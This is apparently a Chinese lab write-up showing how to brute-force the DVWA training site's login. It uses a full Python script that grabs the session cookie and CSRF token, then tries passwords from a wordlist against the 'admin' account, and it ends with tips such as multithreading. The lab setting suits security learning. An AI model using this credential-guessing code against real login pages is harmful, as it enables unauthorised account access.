原理:利用字典爆破进行破解
实验环境:本机Win10(python3.7环境)、虚拟机Win2003(搭建DVWA网站)
工具:火狐浏览器、Burp Suite
实现步骤:
1、获取正常登录时需要提交的数据信息。
Burp Suite开启抓包,浏览器范文Dvwa登录页面,按F12开启网络数据查看器,登录dvwa.
可知:username、password、Login、user_token 这四个是登录必须提交的,除此之外还必须要附带服务器所给的cookie。
总共5个数据。
整个数据包如下:
也就是需要构建和上图一样需求和格式的Request数据包(Burp Suite查看请求包)
2、使用Python编写WEB请求数据包
# -*- coding: utf-8 -*-
"""
参考博客:
Created on Sat Oct 6 17:01:15 2018
@author: 小谢
"""
import urllib
import requests
from bs4 import BeautifulSoup
##第一步,先访问 http://172.16.90.101/dvwa/login.php页面,获得服务器返回的cookie和token
def get_cookie_token():
headers={'Host':'172.16.90.101',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Upgrade-Insecure-Requests':'1'}
res=requests.get("http://172.16.90.101/dvwa/login.php",headers=headers)
cookies=res.cookies
a=[(';'.join(['='.join(item)for item in cookies.items()]))] ## a为列表,存储cookie和token
html=res.text
soup=BeautifulSoup(html,"html.parser")
token=soup.form.contents[3]['value']
a.append(token)
return a
##第二步模拟登陆
def Two(password,a):
headers={'Host':'172.16.90.101',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Content-Length':'88',
'Content-Type':'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests':'1',
'Cookie':a[0],
'Referer':'http://172.16.90.101/dvwa/login.php'}
values={'username':'admin',
'password':password,
'Login':'Login',
'user_token':a[1]
}
data=urllib.parse.urlencode(values)
resp=requests.post("http://172.16.90.101/dvwa/login.php",data=data,headers=headers)
return
def Three():
#重定向到index.php
headers={'Host':'172.16.90.101',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'keep-alive',
'Upgrade-Insecure-Requests':'1',
'Cookie':a[0],
'Referer':'http://172.16.90.101/dvwa/login.php'}
response=requests.get("http://172.16.90.101/dvwa/index.php",headers=headers,allow_redirects=False)
statu = response.status_code
return statu
wordList = open('passwordList.txt','r')
passwords = wordList.readlines()
for password in passwords:
password = password.strip()
a = get_cookie_token() #步骤一
Two(password,a) #步骤二
statu = Three() #步骤三
if(statu == 200):
print("[*]测试密码:"+password+" 正确\t"+str(statu))
break
else:
print("[-]测试密码:"+password+" 错误\t"+str(statu))
wordList.close()
if(statu != 200):
print("------密码爆破失败------")
"""
需要一个passwordList.txt密码文档
格式为:
password1
password2
......
"""
上诉代码的执行步骤:
第一步:先访问DVWA的登录页面(login.php),获取服务器返回的cookie和token(代码就不详说明)
第二步:构建Request数据包模拟登录DVWA,此脚本是参照别人的博客模拟登录,我把它稍加修改成密码爆破,
如有需要请自行查找他的博客
第三步:重定向,为了判断提交数据后是否登录成功,成功则可以获取登录成功的index页面(注意代码细节)
总结:
理解掌握HTTP的运行过程,构建发送HTTP数据包。
暴力破解无非是不断尝试账号密码,因为机器每秒的执行次数元超乎人的操作次数,所以暴力破解成为了可能。
上诉脚本存在不足之处:
1、cookie是倍写死的,一个正常的的网站一般cookie都是会变化的
2、可以使用多线程加快运行效率
3、账号是已知的,一般情况下我们尝试登陆一个是否存在的用户时,网站并不会告诉我们账号是否存在,当然一些安全性不好的网站例外。(若是账号也进行破解的话,需要很大的工程,也需要一定的算法)